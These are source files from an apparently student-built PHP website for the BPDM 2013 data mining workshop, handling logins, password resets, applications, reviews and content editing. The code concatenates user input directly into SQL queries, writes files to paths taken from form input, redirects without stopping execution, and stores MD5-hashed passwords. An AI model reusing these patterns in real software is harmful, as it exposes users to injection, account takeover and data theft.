RSS</h2> <form id="form3" action="passThru/editRss.php" method="post"> <fieldset style="width:550px;"> <label for="rss-edit">Select RSS to Edit: <select name="rss-edit" id="rss-edit" style="float:right;width:160px;" onchange="showRssEdit()"></select></label><br /><br /> <label for="e-title"><b>* </b>RSS Title: <input id="e-title" name="e-title" maxlength="50" type="text" value="" style="width:400px;" /></label><br /><br /> <label for="e-desc"><b>* </b>RSS Description: <textarea id="e-desc" name="e-desc" style="float:right;width:400px;"></textarea></label><br /><br /><br /><br /> <label for="e-link"><b>* </b>Add Link: <input id="e-link" name="e-link" maxlength="25" type="text" value="" style="width:400px;" /></label><br /><br /> <input id="edit-ress-submit" name="edit-rss-submit" type="submit" style="" value="Edit RSS" /> </fieldset> </form> <h2>Delete RSS</h2> <form id="form4" action="passThru/deleteRss.php" method="post"> <fieldset style="width:300px;"> <label for="rss-delete">Select RSS to Delete: <select name="rss-delete" id="rss-delete" style="float:right;width:160px;"></select></label><br /><br /> <input id="delete-ress-submit" name="delete-rss-submit" type="submit" style="" value="Delete RSS" /> </fieldset> </form> <h2>Edit a Page</h2> <form id="form5" action="passThru/redirectEdit.php" method="post"> <fieldset style="width:300px;"> <label for="page">Select Page to Edit: <select name="page" id="page" style="float:right;width:160px;"> <option value="index">Home</option> <option value="agenda">Agenda</option> <option value="apply">Apply</option> <option value="faq">FAQ</option> <option value="links">Links</option> <option value="contact">Contact</option> <option value="scholarship-applications">Scholarships Applications</option> <option value="sponsors">Sponsors</option> </select></label><br /><br /> <input id="edit-page-submit" name="edit-page-submit" type="submit" value="Edit Page" /> </fieldset> </form> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><h1> Purpose</h1> <p> BPDM is an organization that encourages minority participation <br /> and aims to foster mentorship, guidance, and connections to <br /> underrepresented groups in Data Mining. Participation is encouraged <br /> through annual meetings and scholarly outreach. </p> <p> Participants from all over the world have gotten a chance to connect<br /> with needed intellectual resource that has provided career insight.<br /> Students across continental North and South America and as <br /> far as Europe have joined as members. The Google map below shows <br /> current membership distribution. </p> <iframe width="600" height="300" scrolling="no" frameborder="no" src="https://www.google.com/fusiontables/embedviz?q=select+col0+from+1IiRuSr6wAoIVtJllt77gXykAMkaiCV3lqGEAFiY&amp;viz=MAP&amp;h=false&amp;lat=39.53272720194459&amp;lng=-28.967507768750007&amp;t=1&amp;z=3&amp;l=col0&amp;y=2&amp;tmplt=2"></iframe><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $isValid = false; // create a flag variable to show that the form has not been validated $userName = str_replace(" ", "", $_POST["username"]); // get the username $userName = strtolower($userName); $validString = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $newPassString = get_random_string($validString, 6); $salt = md5($userName); // create a salt variable $password = md5($newPassString.$salt); // generate a md5 password include("../includes/openConn.php"); $sql = "SELECT FirstName FROM User WHERE Email='".$userName."';"; $result = mysql_query($sql); if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { $row = mysql_fetch_array($result); $sql = "UPDATE User SET Password='".$<PASSWORD>."', PasswordReset='1' WHERE Email = '".$userName."';"; $result = mysql_query($sql); $to = $userName; $subject = "BPDM 2013 User Account Password Reset"; $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: Data Mining Workshop Admin <<EMAIL>>\r\n"; $body = "Hi ".$row["FirstName"].", <br /><br />"; $body .= "The passord for your BPDM 2013 user account has been reset. Your new account password is ".$newPassString."."; $body .= "<br />You can log in with your information here:<br />"; $body .= "<a href = \"http://www.dataminingshop.com/2013/applicantLogin.php\">http://www.dataminingshop.com/2013/applicantLogin.php</a>.<br /><br /><br />"; $body .= "<br />After logging in you will be prompted to create a new password.<br />"; $body .= "Best regards, <br /><br />"; $body .= "Workshop organizers"; mail($to, $subject, $body, $headers); $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Your password has been reset and a confirmation email has been sent.</p>"; header("Location: ../applicantLogin.php"); } else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">Your account could not be found.</p>"; header("Location: ../retrievePass.php"); } include("../includes/closeConn.php"); function get_random_string($valid_chars, $length) { // start with an empty random string $random_string = ""; // count the number of chars in the valid chars string so we know how many choices we have $num_valid_chars = strlen($valid_chars); // repeat the steps until we've created a string of the right length for ($i = 0; $i < $length; $i++) { // pick a random number from 1 up to the number of valid chars $random_pick = mt_rand(1, $num_valid_chars); // take the random character out of the string of valid chars // subtract 1 from $random_pick because strings are indexed starting at 0, and we started picking at 1 $random_char = $valid_chars[$random_pick-1]; // add the randomly-chosen char onto the end of our string so far $random_string .= $random_char; } // return our finished random string return $random_string; } ?><file_sep><?php mysql_close($db); //Close the database connection ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Retrieve Password</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { var maxRss = 5; $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <h1>User Login</h1> <?php echo($_SESSION["error"]); ?> <form id="form0" action="passThru/resetPass.php" method="post"> <fieldset style="width:250px;"> <label for="username"><b>* </b>Email: <input id="username" name="username" maxlength="40" type="text" /></label><br /><br /> <input style="width:150px;" id="submit" name="submit" type="submit" value="Reset Password" /> </fieldset> </form> <br /> <p>If you do not have an account with this system <a href="applicantSignUp.php">Click Here</a> to create one now</p> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - Administrative Site</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script type="text/javascript" src="ckeditor/ckeditor.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); setEditor(); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <h1>Edit Page Content</h1> <form id="form0" action="passThru/editPage.php" method="post" style="display:none"> <input id="page" name="page" type="hidden" value="<?php echo($_GET["id"]);?>"/> <textarea cols="80" id="editor" name="editor" rows="10"></textarea><br /><br /> <input type="submit" id="submit" name="submit" style="width:120px;" value="Save Changes" /> </form> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><?php session_start(); $appID = $_POST["application"]; $rating = $_POST["rating"]; $justification = replaceText($_POST["justification"]); $_SESSION["rating"] = $rating; $_SESSION["justification"] = $justification; if($_SESSION["loggedAs"] == "" || $_SESSION["userType"] != "Reviewer" || $appID == "") // if the user is not logged in, does not have the proper clearance, or is using a blank id { header("Location: ../review.php?id=".$appID); // redirect to the login page } // end of if $valid = true; $commentEx = "/^([a-zA-Z0-9.,;?!&# ]{1,})$/"; $ratings = Array(-3,-2,-1,0,1,2,3); if(!validate($rating, $ratings)) { $_SESSION["rating"] = ""; $error .= "Enter a valid Rating.<br />"; $valid = false; } if(!preg_match($commentEx, $justification)) { $_SESSION["justification"] = ""; $error .= "Enter a valid Justification.<br />"; $valid = false; } if($valid) { include("../includes/openConn.php"); $sql = "SELECT ApplicationID FROM ReviewerApplication WHERE Email='".$_SESSION["loggedAs"]."' AND ApplicationID='".$appID."';"; $result = mysql_query($sql); if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } if($num_results != 0) { $sql = "UPDATE ReviewerApplication SET Rating='".$rating."', ReviewJustification='".$justification."' WHERE Email='".$_SESSION["loggedAs"]."' AND ApplicationID='".$appID."';"; $result = mysql_query($sql); $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">This application has been successfully reviewed.</p>"; $sql = "SELECT Rating FROM ReviewerApplication WHERE ApplicationID='".$appID."';"; $result = mysql_query($sql); if(empty($result)) { $num_results = 0; } else { $num_results = mysql_num_rows($result); } $sum = 0; $count = 0; for($i=0; $i<$num_results; $i++) { $row = mysql_fetch_array($result); if($row["Rating"] != 999) { $sum += $row["Rating"]; $count++; } } $average = $sum / $count; $sql = "UPDATE Application Set AverageRating='".$average."' WHERE ApplicationID='".$appID."';"; $result = mysql_query($sql); } else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">You do not access to review this application.</p>"; } include("../includes/closeConn.php"); // close the database } else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; } include("../includes/cleanUp.php"); // delete the variables header("Location: ../review.php?id=".$appID); // redirect to the login page function validate($data, $array) { $valid = false; for($i=0; $i<count($array); $i++) { if($array[$i] == $data) { $valid = true; // the input is valid } // end of if } // end of for return $valid; } function replaceText($d) { $d = str_replace("\\", "", $d); $d = str_replace("\"", "&quot;", $d); $d = str_replace("'", "&apos;",$d); $d = str_replace("(", "&#40;", $d); $d = str_replace(")", "&#41;", $d); return $d; } ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: ../index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $id = $_POST["page"]; if($id != "") { header("Location: ../editPage.php?id=".$id); } else { header("Location: ../admin.php"); } ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - User Account Creation</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content=""/> <meta name="keywords" content=""/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); getRss("#rss-edit"); getRss("#rss-delete"); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> <h2>User Account Creation</h2> <?php echo($_SESSION["error"]); ?> <form id="form6" action="passThru/createApplicant.php" method="post"> <fieldset style="width:300px;"> <label for="email_can"><b>* </b>Email: <input id="email_can" name="email_can" maxlength="40" type="email" value="<?php if($_SESSION["emailCan"] != ""){echo($_SESSION["emailCan"]);} ?>" /></label><br /><br /> <label for="pass1_can"><b>* </b>Password: <input id="pass1_can" name="pass1_can" maxlength="25" type="password" value="" /></label><br /><br /> <label for="pass2_can"><b>* </b>Confirm Password: <input id="pass2_can" name="pass2_can" maxlength="25" type="password" value="" /></label><br /><br /> <label for="fName_can"><b>* </b>First Name: <input id="fName_can" name="fName_can" maxlength="25" type="text" value="<?php if($_SESSION["fnameCan"] != ""){echo($_SESSION["fnameCan"]);} ?>" /></label><br /><br /> <label for="lName_can"><b>* </b>Last Name: <input id="lName_can" name="lName_can" maxlength="25" type="text" value="<?php if($_SESSION["lnameCan"] != ""){echo($_SESSION["lnameCan"]);} ?>" /></label><br /><br /> <label for="reviewer">Create as reviewer? <input id="reviewer" name="reviewer" type="checkbox" <?php if($_SESSION["reviewer"] != ""){echo("checked=\"checked\"");}?> /></label><br /><br /> <input id="submit-new-admin" name="submit-new-admin" type="submit" style="width:120px;" value="Sign Up" /> </fieldset> </form> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep><?php session_start(); if($_SESSION["loggedAs"] == "" || $_SESSION["adminType"] != "Super") // if the user is not logged in, does not have the proper clearance, or is using a blank id { header("Location: ../admin.php"); // redirect to the login page } // end of if $valid = true; // create a flag variable for form validity // set variables from the form $login = $_POST["login_can"]; $pass1 = $_POST["pass1_can"]; $pass2 = $_POST["pass2_can"]; $fname = $_POST["fName_can"]; $lname = $_POST["lName_can"]; $email = $_POST["email_can"]; // add variables as session variables $_SESSION["loginCan"] = $login; $_SESSION["fnameCan"] = $fname; $_SESSION["lnameCan"] = $lname; $_SESSION["emailCan"] = $email; $_SESSION["isReviewer"] = $reviewer; $loginPassEx = "/^([a-zA-Z0-9]){1,}$/"; // create an expression to test against the name if(!preg_match($loginPassEx, $login) || $login == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid $_SESSION["loginCan"] = ""; // clear the name from the form $error .= "Enter a valid Login Name."; // create the error message } // end of if if(!preg_match($loginPassEx, $pass1) || $pass1 == "") // if the password fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid Password."; // create the error message } // end of if if($pass1 == $pass2) // if the two passwords do not match { $salt = md5($login); // create a salt variable $password = md5($<PASSWORD>.$salt); // generate a md5 password } // end of if else { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a Passwords did not match."; // create the error message } // end of else $nameEx = "/^([a-zA-Z ]){1,}$/"; // create an expression to test against the name if(!preg_match($nameEx, $fname) || $fname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["fnameCan"] = ""; // clear the name from the form $error .= "Enter a valid First Name."; // create the error message } // end of if if(!preg_match($nameEx, $lname) || $lname == "") // if the name fails the expression or is blank { $valid = false; // show that the form is not valid if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $_SESSION["lnameCan"] = ""; // clear the name from the form $error .= "Enter a valid Last Name."; // create the error message } // end of if $emailEx = "/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/"; // create an expression to test against the email if(!preg_match($emailEx, $email) || $email == "") // if the email fails the expression or is blank { $valid = false; // show that the form is not valid $_SESSION["emailCan"] = ""; // clear the email from the form if($error != "") // if the error message is not blank { $error .= "<br />"; // add a break } // end of if $error .= "Enter a valid email address."; // create the error message } // end of if $phoneEx = "/^([\d]){3}([\-]){1}([\d]){3}([\-]){1}([\d]){4}$/"; // create an expression to test against the phone if($valid) // if the form is valid { include("../includes/openConn.php"); // open the connection $sql = "SELECT AdminID FROM Admin WHERE AdminID='".$login."'"; // get the id numbers from all of the inquiries $result = mysql_query($sql); // send the sql request if(empty($result)) // if the result is empty { $num_results = 0; // set the number of results as zero } // end of if else { $num_results = mysql_num_rows($result); // set the number of results } // end of else if($num_results != 0) // if the number of results is greater than zero { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">Username is already in use. Please select another.</p>"; // set the message include("../includes/closeConn.php"); } // end of if else { $sql = "INSERT INTO Admin(AdminID, FirstName, LastName, Email, Password, AdminType) VALUES('".$login."', '".$fname."', '".$lname."', '".$email."', '".$password."', 'Regular')"; // create the sql statement $result = mysql_query($sql); // get the sql request include("../includes/closeConn.php"); // close the database connection //mail($to, $subject, $message, $headers); // send the email // clear session variables $_SESSION["loginCan"] = ""; $_SESSION["fnameCan"] = ""; $_SESSION["lnameCan"] = ""; $_SESSION["emailCan"] = ""; $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#0c0;font-weight:bolder;border:3px solid #090;border-radius:10px;padding:5px;\">Admin created successfully.</p>"; } } // end of if else { $_SESSION["error"] = "<p style=\"width:290px;color:#fff;background:#c00;font-weight:bolder;border:3px solid #900;border-radius:10px;padding:5px;\">".$error."</p>"; } include("../includes/cleanUp.php"); // clear variables header("Location: ../admin.php"); // redirect to contact page ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("../includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] == "") { header("Location: ../login.php"); } if($_SESSION["adminType"] != "Super" && $_SESSION["adminType"] != "Regular") { header("Location: ../index.php"); } if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } $page_text = $_POST["editor"]; $page = $_POST["page"]; $myFile = "../content/".$page.".html"; $fh = fopen($myFile, 'w') or die("can't open file"); fwrite($fh, $page_text); fclose($fh); include("../includes/cleanUp.php"); header("Location: ../admin.php"); ?><file_sep><?php session_start(); header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); include("includes/constants.php"); $cur_time = time(); if($_SESSION["loggedAs"] != "" && $cur_time > $_SESSION["timeout"]) { //destroy the session (reset) session_destroy(); header("Location: login.php"); } else { //set new time $_SESSION["last_page"] = ""; $_SESSION["timeout"] = time() + $TIME_OUT; } ?> <!DOCTYPE html> <html> <head profile="http://gmpg.org/xfn/11"> <title>Broadening Participation in Data Mining - News</title> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <meta name="description" content="This website describes an ongoing project to broaden participation of underrepresented students in Data Mining. We also aim at fostering guidance and mentorship of such students."/> <meta name="keywords" content="data mining workshop machine learning text mining database high performance computing BPDM BPDM12 BPDM2012"/> <link rel="stylesheet" href="css/main.css" type="text/css" /> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <script src="js/jquery.js" type="text/javascript"></script> <script src="js/main.js" type="text/javascript"></script> <script src="js/twitterFeed.js" type="text/javascript"></script> <script type="text/javascript"> function siteLoaded() { addRss(); $.ajax({type:"GET",url:"content/sponsors.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#sponsors-content").html(data);}}); $.ajax({type:"GET",url:"content/scholarship-applications.html",dataType:"html",cache:false,success:function(data){data = replaceData(data);$("#scholarship-content").html(data);}}); } </script> </head> <body onload="siteLoaded()"> <?php include("includes/header.php");?> <article> <div id="screen-content"> </div> <aside> <?php include("includes/aside.php");?> </aside> <br style="clear:both" /> </article> <?php include("includes/footer-nav.php"); ?> <?php include("includes/footer.php"); ?> <script src="https://api.twitter.com/1/statuses/user_timeline.json?screen_name=BPDMProgram&include_rts=true&callback=twitterCallback2&count=5"></script> </body> </html><file_sep>function addRss(maxRss) { if(maxRss != null) { $("#screen-content").append("</br style=\"clear:both\"><br /><div id=\"rss-content\"><h1>News From BPDM</h1></div>"); } else { $("#screen-content").append("<div id=\"rss-content\"><h1>News From BPDM</h1></div>"); } $.ajax({type:"GET",url:"rss/news.rss",dataType:"xml",cache:false,success:parseXML}); // setup ajax to grab the xml data function parseXML(xml) { var items = new Array(); var i = 0; $(xml).find("item").each(function(){ items[i] = this; i++; }); items.reverse(); if(items.length > maxRss && maxRss != null) { for(i=0; i<maxRss; i++) { var uDate = $(items[i]).find("pubDate").text().split("-"); var uDay = uDate[1]; var uMonth = getMonthText(uDate[0]); $("#rss-content").append("<div id=\"rss_"+i+"\"></div>"); $("#rss_"+i).append("<div class=\"date\"><p class=\"day\">"+uDay+"</p><p class=\"month\">"+uMonth+"</p></div>");; $("#rss_"+i).append("<a href=\""+$(items[i]).find("link").text()+"\" target=\"_blank\"><h2>"+$(items[i]).find("title").text()+"</h2></a>"); $("#rss_"+i).append("<p>"+$(items[i]).find("description").text()+"</p>"); $("#rss_"+i).append("<p class=\"author\">Updated by "+"<a href=\"mailto:"+$(items[i]).find("author").text()+"\">"+$(items[i]).find("author").text()+"</a>"+"</p>"); $("#rss-content").append("<br style=\"clear:both;\"/>"); } $("#rss-content").append("<a style=\"color:#67a1de;font-size:15px;\" href=\"news.php\">See All News</a>"); } else { for(i=0; i<items.length; i++) { var uDate = $(items[i]).find("pubDate").text().split("-"); var uDay = uDate[1]; var uMonth = getMonthText(uDate[0]); $("#rss-content").append("<div id=\"rss_"+i+"\"></div>"); $("#rss_"+i).append("<div class=\"date\"><p class=\"day\">"+uDay+"</p><p class=\"month\">"+uMonth+"</p></div>");; $("#rss_"+i).append("<a href=\""+replaceData($(items[i]).find("link").text())+"\" target=\"_blank\"><h2>"+replaceData($(items[i]).find("title").text())+"</h2></a>"); $("#rss_"+i).append("<p>"+replaceData($(items[i]).find("description").text())+"</p>"); $("#rss_"+i).append("<p class=\"author\">Updated by "+"<a href=\"mailto:"+replaceData($(items[i]).find("author").text())+"\">"+replaceData($(items[i]).find("author").text())+"</a>"+"</p>"); $("#rss-content").append("<br style=\"clear:both;\"/>"); } } } } function getMonthText(m) { switch(parseInt(m)) { case 1: { return "JAN"; break; } case 2: { return "FEB"; break; } case 3: { return "MAR"; break; } case 4: { return "APR"; break; } case 5: { return "MAY"; break; } case 6: { return "JUN"; break; } case 7: { return "JUL"; break; } case 8: { return "AUG"; break; } case 9: { return "SEP"; break; } case 10: { return "OCT"; break; } case 11: { return "NOV"; break; } case 12: { return "DEC"; break; } } } function getRss(optionSet) { $.ajax({type:"GET",url:"rss/news.rss",dataType:"xml",cache:false,success:parseXML}); // setup ajax to grab the xml data function parseXML(xml) { var items = new Array(); var i = 0; $(xml).find("item").each(function(){ items[i] = this; i++; }); items.reverse(); for(i=0; i<items.length;i++) { $(optionSet).append("<option value=\""+$(items[i]).find("guid").text()+"\">"+$(items[i]).find("title").text()+"</option>"); } showRssEdit(); } } function setRssEditField(id) { $.ajax({type:"GET",url:"rss/news.rss",dataType:"xml",cache:false,success:parseXML}); // setup ajax to grab the xml data function parseXML(xml) { var items = new Array(); var i = 0; $(xml).find("item").each(function(){ items[i] = this; i++; }); items.reverse(); for(i=0; i<items.length;i++) { if($(items[i]).find("guid").text() == id) { $("#e-title").attr("value", replaceData($(items[i]).find("title").text())); $("#e-desc").text(replaceData($(items[i]).find("description").text())); $("#e-link").attr("value", replaceData($(items[i]).find("link").text())); } } } } function showRssEdit() { var idnum = $('#rss-edit>option:selected').attr("value"); setRssEditField(idnum); } function setEditor() { window.params = function(){ var params = {}; var param_array = window.location.href.split('?')[1].split('&'); for(var i in param_array){ x = param_array[i].split('='); params[x[0]] = x[1]; } return params; }(); var page = window.params.id; $.ajax({type:"GET",url:"content/"+page+".html",dataType:"html",cache:false,success:function(data) { data = replaceData(data); $("#editor").text(data); CKEDITOR.replace('editor', {height:"620"}); $("#form0").css("display", "block"); }}); } function replaceData(d) { d = d.replace(/\\&quot;/g, ""); d = d.replace(/\\"/g, "\""); d = d.replace(/\\'/g, "'"); return(d); } function changeExText(tag) { var tagColor = colorToHex($("#"+tag).css("color")); if(tagColor == "#666666") { $("#"+tag).attr("value", ""); $("#"+tag).css("color", "#000"); } function colorToHex(color) { if (color.substr(0, 1) === '#') { return color; } var digits = /(.*?)rgb\((\d+), (\d+), (\d+)\)/.exec(color); var red = parseInt(digits[2]); var green = parseInt(digits[3]); var blue = parseInt(digits[4]); var rgb = blue | (green << 8) | (red << 16); return digits[1] + '#' + rgb.toString(16); }; }<file_sep>Dataminer ========= Contributed to the template @ www.dataminingshop.com which is the website for graduate students who use data mining in their career. I contributed RSS, PHP, API MASHUPS. <file_sep><header> <?php if($_SESSION["loggedAs"] != "") { echo("<p style=\"position:absolute;margin-left:860px;color:#fff;\">Welcome, ".$_SESSION["userFName"]." <a href=\"passThru/logout.php\" style=\"color:#67a1de;text-decoration:none;\">Log Out</a></p>"); } ?> <a href="index.php" class="header"> <div class="title"> <img src="images/BPDM_logo.jpg" alt="BPDM Logo" width="152" height="160" style="float:left;margin-top:5px;margin-right:10px;" /> <p style="font-size:30px;">Broadening Participation in Data Mining - BPDM 2013</p> </div> </a> <div class="soc-logos"> <a href="mailto:<EMAIL>"><img src="images/email.png" width="35" height="35" alt="Email" /></a> <a href="http://www.facebook.com/groups/BPDMprogram/" target="_blank"><img src="images/fb-logo.png" width="35" height="35" alt="Facebook" /></a> <a href="https://twitter.com/BPDMProgram" target="_blank"><img src="images/tw-logo.png" width="35" height="35" alt="Twitter" /></a> <a href="http://www.linkedin.com/groups/Broadening-Participation-in-Data-Mining-4833613" target="_blank"><img src="images/linkedin-logo.png" width="35" height="35" alt="LinkedIn" /></a> <a href="rss/news.rss" target="_blank"><img src="images/rss-logo.png" width="35" height="35" alt="RSS Feed" /></a> </div> <nav id="main"> <div class="menu"> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["adminType"] != ""){?><a href="admin.php"><p>Admin</p></a><?php }?> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["adminType"] == "Super"){?><a href="organizer.php"><p style="padding-left:10px;padding-right:10px;">Organizer</p></a><?php }?> <?php if($_SESSION["loggedAs"] != "" && $_SESSION["userType"] == "Reviewer"){?><a href="review.php"><p>Applicant Review</p></a><?php }?> <a href="index.php"><p>Home</p></a> <a href="agenda.php"><p>Agenda</p></a> <a href="<?php if($_SESSION["loggedAs"] != "" && $_SESSION["userType"] == "Applicant"){echo("application.php");}else{echo("applicantLogin.php");}?>"><p>Apply</p></a> <a href="faq.php"><p>FAQ</p></a> <a href="links.php"><p>Links</p></a> <a href="news.php"><p>News</p></a> <a href="contact.php"><p>Contact</p></a> <a href="membership locations.php"><p>membership locations</p></a> </div> <div class="search"> <form id="search-form" method="get" action="http://www.google.com/search" target="_blank"> <input id="q" name="q" type="text" value="Google site search" 